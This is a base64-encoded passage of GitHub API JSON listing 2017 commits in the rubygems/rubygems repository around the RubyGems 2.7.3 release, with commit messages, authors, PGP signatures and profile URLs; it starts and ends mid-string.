vbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2IzNThlODgzMzZlYTdiYWIwNjdjZmE2YTg2NjYwYzkzN2ViNmNmYjIiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvYjM1OGU4ODMzNmVhN2JhYjA2N2NmYTZhODY2NjBjOTM3ZWI2Y2ZiMiJ9LHsic2hhIjoiNTVkZjVkYmI1ZDkxNzgwOWEyN2E1ODgxZGRmM2MwYjU1NDNiMDExZiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy81NWRmNWRiYjVkOTE3ODA5YTI3YTU4ODFkZGYzYzBiNTU0M2IwMTFmIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0LzU1ZGY1ZGJiNWQ5MTc4MDlhMjdhNTg4MWRkZjNjMGI1NTQzYjAxMWYifV19LHsic2hhIjoiNTVkZjVkYmI1ZDkxNzgwOWEyN2E1ODgxZGRmM2MwYjU1NDNiMDExZiIsImNvbW1pdCI6eyJhdXRob3IiOnsibmFtZSI6IlNISUJBVEEgSGlyb3NoaSIsImVtYWlsIjoiaHNidEBydWJ5LWxhbmcub3JnIiwiZGF0ZSI6IjIwMTctMTEtMjhUMTE6MDU6NDNaIn0sImNvbW1pdHRlciI6eyJuYW1lIjoiU0hJQkFUQSBIaXJvc2hpIiwiZW1haWwiOiJoc2J0QHJ1YnktbGFuZy5vcmciLCJkYXRlIjoiMjAxNy0xMS0yOFQxMTowNTo0M1oifSwibWVzc2FnZSI6IkJ1bXAgdmVyc2lvbiB0byAyLjcuMyIsInRyZWUiOnsic2hhIjoiZGYxMzUzYjNmMTJjYzVmOTNjNDNjNjA4NzBkOGFhYjBlMGI3ZDZjZSIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzL2RmMTM1M2IzZjEyY2M1ZjkzYzQzYzYwODcwZDhhYWIwZTBiN2Q2Y2UifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy81NWRmNWRiYjVkOTE3ODA5YTI3YTU4ODFkZGYzYzBiNTU0M2IwMTFmIiwiY29tbWVudF9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjp0cnVlLCJyZWFzb24iOiJ2YWxpZCIsInNpZ25hdHVyZSI6Ii0tLS0tQkVHSU4gUEdQIFNJR05BVFVSRS0tLS0tXG5cbmlRRXpCQUFCQ0FBZEZpRUU1MExSOTBKT28vM3BJdmRtK2M4VFFYSmsrc0lGQWxvZFF3Y0FDZ2tRK2M4VFFYSmtcbitzSXk4UWY2QW1lQmJIQldGLzBvdVZZMWErbnRhSnJsMnhxcXVLRFYyODNGZnJiSDA1R0k0MGxIUGpyeUk2S0NcbjdnamlhWW5YYTJMeGtTaVlNUzZDVHY5UXhkOXZQQXhjN0dqTmJLQkZFS1ZyWFNHMGNwcEFiejFicUZPNnB2akFcbjJlb0xodTNad09mdjZ3cmpkMkZzOER0NEJqcnNibXk5OGd6YlQyaC84NXo4RCs1ZEdDQnJqS3NJOWhmczBYcFBcbnB2WW4wSC84RENocjdoVGpRWGJ2Szd0eVRuWkUrVk5qWmtzMWtxa1lVejU3WEEyR3QvK1VqL0x5cTdxVjQzNG9cblpxOFFUU1NIUXdqeUx6TG1WSnpxejcwRWlhM3crdm8vOHFSbFIyaFA4Sm9oYnRxMjUvYmhhaVl1M0VQZDAzOUxcblNoRk13YXpuYmxyU01uMGxvYjkxWTI3c0pRc2F4UT09XG49YnpDWlxuLS0tLS1FTkQgUEdQIFNJR05BVFVSRS0tLS0tIiwicGF5bG9hZCI6InRyZWUgZGYxMzUzYjNmMTJjYzVmOTNjNDNjNjA4NzBkOGFhYjBlMGI3ZDZjZVxucGFyZW50IDliZGU4Y2QwNWU5ZTJmNGE3M2Q2NzgzZjA5ODk2ZGQ1NTFiNThlYmVcbmF1dGhvciBTSElCQVRBIEhpcm9zaGkgPGhzYnRAcnVieS1sYW5nLm9yZz4gMTUxMTg2NzE0MyArMDkwMFxuY29tbWl0dGVyIFNISUJBVEEgSGlyb3NoaSA8aHNidEBydWJ5LWxhbmcub3JnPiAxNTExODY3MTQzICswOTAwXG5cbkJ1bXAgdmVyc2lvbiB0byAyLjcuM1xuIn19LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvNTVkZjVkYmI1ZDkxNzgwOWEyN2E1ODgxZGRmM2MwYjU1NDNiMDExZiIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC81NWRmNWRiYjVkOTE3ODA5YTI3YTU4ODFkZGYzYzBiNTU0M2IwMTFmIiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzU1ZGY1ZGJiNWQ5MTc4MDlhMjdhNTg4MWRkZjNjMGI1NTQzYjAxMWYvY29tbWVudHMiLCJhdXRob3IiOnsibG9naW4iOiJoc2J0IiwiaWQiOjEyMzAxLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xMjMwMT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2hzYnQiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJjb21taXR0ZXIiOnsibG9naW4iOiJoc2J0IiwiaWQiOjEyMzAxLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xMjMwMT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2hzYnQiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwYXJlbnRzIjpbeyJzaGEiOiI5YmRlOGNkMDVlOWUyZjRhNzNkNjc4M2YwOTg5NmRkNTUxYjU4ZWJlIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzliZGU4Y2QwNWU5ZTJmNGE3M2Q2NzgzZjA5ODk2ZGQ1NTFiNThlYmUiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvOWJkZThjZDA1ZTllMmY0YTczZDY3ODNmMDk4OTZkZDU1MWI1OGViZSJ9XX0seyJzaGEiOiI5YmRlOGNkMDVlOWUyZjRhNzNkNjc4M2YwOTg5NmRkNTUxYjU4ZWJlIiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiU0hJQkFUQSBIaXJvc2hpIiwiZW1haWwiOiJoc2J0QHJ1YnktbGFuZy5vcmciLCJkYXRlIjoiMjAxNy0xMS0yOFQxMTowNDowN1oifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJTSElCQVRBIEhpcm9zaGkiLCJlbWFpbCI6ImhzYnRAcnVieS1sYW5nLm9yZyIsImRhdGUiOiIyMDE3LTExLTI4VDExOjA0OjA3WiJ9LCJtZXNzYWdlIjoiVXBkYXRlIEhpc3RvcnkgZm9yIFJHIDIuNy4zIHJlbGVhc2UuXG5cbiAgKiBNb3ZlIHNvbWUgZW50cmllcyBvbiAyLjcuMCByZWxlYXNlLiBCZWNhdXNlIHRoZXkgYXJlIGxvY2F0ZWQgb25cbiAgICB3cm9uZyBjYXRlZ29yeS4gSXQncyBteSBtaXN0YWtlLiIsInRyZWUiOnsic2hhIjoiZjk3ZjAwNzA4ZDIzMDhlNDI1MzY5MjVkZWRiYjk4MTg3OGIwYjcwNCIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzL2Y5N2YwMDcwOGQyMzA4ZTQyNTM2OTI1ZGVkYmI5ODE4NzhiMGI3MDQifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy85YmRlOGNkMDVlOWUyZjRhNzNkNjc4M2YwOTg5NmRkNTUxYjU4ZWJlIiwiY29tbWVudF9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjp0cnVlLCJyZWFzb24iOiJ2YWxpZCIsInNpZ25hdHVyZSI6Ii0tLS0tQkVHSU4gUEdQIFNJR05BVFVSRS0tLS0tXG5cbmlRRXpCQUFCQ0FBZEZpRUU1MExSOTBKT28vM3BJdmRtK2M4VFFYSmsrc0lGQWxvZFF2WUFDZ2tRK2M4VFFYSmtcbitzSUw0d2Y5SHFVVy8yR2JMRUFBMlg3M3A0eFUwK3IwM2lOUGh2endvSVZSTUFvR3BQUmVEL1FKS3ZOVTRjZzhcblNyWXZZaGl3S2ZURmNNaWJLVVNDTHNpR0V6ekZseERoL09sc0d2U002VW9WbGxUZHB5c0dxR3l1SVgxb3ZTQW5cbk9hV3RsU1ppRks1TXZFN2VqSEcrclU5cC80b0ZpcjVDVTRXY1NPeVI1ZTZGS1JMTmsxcjlGbFd5ZlNoZ0JsMitcblVzQTNIWGtGd2c2MHNJVFhFWjBxVHM5aGplSFJ1U2RISnB4SmJtM0cyRk9wS3NzRnd4bFh1eDU1djY3aXdMSWlcbmVyZHJBNlI3alhISWI5aDRSWnB2VURkNDdXbTZINmQzcXd0bS9xV294V1ZGS1ltbjhzd1pUODZFekJUelBQa3JcbnBLMGE2bmpxUGI4K0ZwN0hpMEZIVE84VkI0eWZoZz09XG49eEVPNlxuLS0tLS1FTkQgUEdQIFNJR05BVFVSRS0tLS0tIiwicGF5bG9hZCI6InRyZWUgZjk3ZjAwNzA4ZDIzMDhlNDI1MzY5MjVkZWRiYjk4MTg3OGIwYjcwNFxucGFyZW50IGQ4ZGI4MzZjOWQ3ODM0YzRjY2QxMDc5ZGUzMDJhNDI5MDY2NGRjMWFcbmF1dGhvciBTSElCQVRBIEhpcm9zaGkgPGhzYnRAcnVieS1sYW5nLm9yZz4gMTUxMTg2NzA0NyArMDkwMFxuY29tbWl0dGVyIFNISUJBVEEgSGlyb3NoaSA8aHNidEBydWJ5LWxhbmcub3JnPiAxNTExODY3MDQ3ICswOTAwXG5cblVwZGF0ZSBIaXN0b3J5IGZvciBSRyAyLjcuMyByZWxlYXNlLlxuXG4gICogTW92ZSBzb21lIGVudHJpZXMgb24gMi43LjAgcmVsZWFzZS4gQmVjYXVzZSB0aGV5IGFyZSBsb2NhdGVkIG9uXG4gICAgd3JvbmcgY2F0ZWdvcnkuIEl0J3MgbXkgbWlzdGFrZS5cbiJ9fSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzliZGU4Y2QwNWU5ZTJmNGE3M2Q2NzgzZjA5ODk2ZGQ1NTFiNThlYmUiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvOWJkZThjZDA1ZTllMmY0YTczZDY3ODNmMDk4OTZkZDU1MWI1OGViZSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy85YmRlOGNkMDVlOWUyZjRhNzNkNjc4M2YwOTg5NmRkNTUxYjU4ZWJlL2NvbW1lbnRzIiwiYXV0aG9yIjp7ImxvZ2luIjoiaHNidCIsImlkIjoxMjMwMSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTIzMDE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9oc2J0IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiY29tbWl0dGVyIjp7ImxvZ2luIjoiaHNidCIsImlkIjoxMjMwMSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTIzMDE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9oc2J0IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicGFyZW50cyI6W3sic2hhIjoiZDhkYjgzNmM5ZDc4MzRjNGNjZDEwNzlkZTMwMmE0MjkwNjY0ZGMxYSIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9kOGRiODM2YzlkNzgzNGM0Y2NkMTA3OWRlMzAyYTQyOTA2NjRkYzFhIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0L2Q4ZGI4MzZjOWQ3ODM0YzRjY2QxMDc5ZGUzMDJhNDI5MDY2NGRjMWEifV19LHsic2hhIjoiZDhkYjgzNmM5ZDc4MzRjNGNjZDEwNzlkZTMwMmE0MjkwNjY0ZGMxYSIsImNvbW1pdCI6eyJhdXRob3IiOnsibmFtZSI6IlRoZSBCdW5kbGVyIEJvdCIsImVtYWlsIjoiYm90QGJ1bmRsZXIuaW8iLCJkYXRlIjoiMjAxNy0xMS0yOFQxMDoxMDoyMVoifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJUaGUgQnVuZGxlciBCb3QiLCJlbWFpbCI6ImJvdEBidW5kbGVyLmlvIiwiZGF0ZSI6IjIwMTctMTEtMjhUMTA6MTA6MjFaIn0sIm1lc3NhZ2UiOiJBdXRvIG1lcmdlIG9mICMyMTA1IC0gaHNidDppZ25vcmUtcmRvYy1wdWJsaXNoLCByPWhzYnRcblxuSWdub3JlZCB0byBwdWJsaXNoIHJkb2MgZG9jdW1lbnRhdGlvbiBvZiBydWJ5Z2VtcyBmb3IgZG9jcy5zZWF0dGxlcmIub3JnXG5cbmh0dHA6Ly9kb2NzLnNlYXR0bGVyYi5vcmcvcnVieWdlbXMgc2VlbXMgdG8gYW4gb2Jzb2xldGVkIHNpdGUuIEkgcmVtb3ZlZCB1cGxvYWRpbmcgdGFzayBmcm9tIHBvc3RyZWxlYXNlIHRhc2tzLlxuXG5XZSBuZWVkIHRvIG1vdmUgR2l0SHViIHBhZ2VzIGxpa2UgXCJodHRwczovL3J1YnlnZW1zLmdpdGh1Yi5jb20vZG9jdW1lbnRhdGlvbi9cIi4iLCJ0cmVlIjp7InNoYSI6IjJmNzBkZDEwNTgzOWU5MjM4OGUzNDZkZmY3M2YxMzVmZjMwY2JlOWYiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90cmVlcy8yZjcwZGQxMDU4MzllOTIzODhlMzQ2ZGZmNzNmMTM1ZmYzMGNiZTlmIn0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L2NvbW1pdHMvZDhkYjgzNmM5ZDc4MzRjNGNjZDEwNzlkZTMwMmE0MjkwNjY0ZGMxYSIsImNvbW1lbnRfY291bnQiOjAsInZlcmlmaWNhdGlvbiI6eyJ2ZXJpZmllZCI6ZmFsc2UsInJlYXNvbiI6InVuc2lnbmVkIiwic2lnbmF0dXJlIjpudWxsLCJwYXlsb2FkIjpudWxsfX0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9kOGRiODM2YzlkNzgzNGM0Y2NkMTA3OWRlMzAyYTQyOTA2NjRkYzFhIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0L2Q4ZGI4MzZjOWQ3ODM0YzRjY2QxMDc5ZGUzMDJhNDI5MDY2NGRjMWEiLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvZDhkYjgzNmM5ZDc4MzRjNGNjZDEwNzlkZTMwMmE0MjkwNjY0ZGMxYS9jb21tZW50cyIsImF1dGhvciI6eyJsb2dpbiI6ImJ1bmRsZXJib3QiLCJpZCI6MTM2MTQ2MjIsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEzNjE0NjIyP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vYnVuZGxlcmJvdCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImNvbW1pdHRlciI6eyJsb2dpbiI6ImJ1bmRsZXJib3QiLCJpZCI6MTM2MTQ2MjIsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEzNjE0NjIyP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vYnVuZGxlcmJvdCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInBhcmVudHMiOlt7InNoYSI6ImQ1N2M1MzBlYzcyYjcwMjRmZTBjMWExNjBmODUzNzk0ZWExNGE0NWMiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvZDU3YzUzMGVjNzJiNzAyNGZlMGMxYTE2MGY4NTM3OTRlYTE0YTQ1YyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC9kNTdjNTMwZWM3MmI3MDI0ZmUwYzFhMTYwZjg1Mzc5NGVhMTRhNDVjIn0seyJzaGEiOiJlYjg5YzZhN2M4YzBhMTcyNmEzN2ZiZDkzZTYzYjEwZWI3OThmZmVmIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2ViODljNmE3YzhjMGExNzI2YTM3ZmJkOTNlNjNiMTBlYjc5OGZmZWYiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvZWI4OWM2YTdjOGMwYTE3MjZhMzdmYmQ5M2U2M2IxMGViNzk4ZmZlZiJ9XX0seyJzaGEiOiJlYjg5YzZhN2M4YzBhMTcyN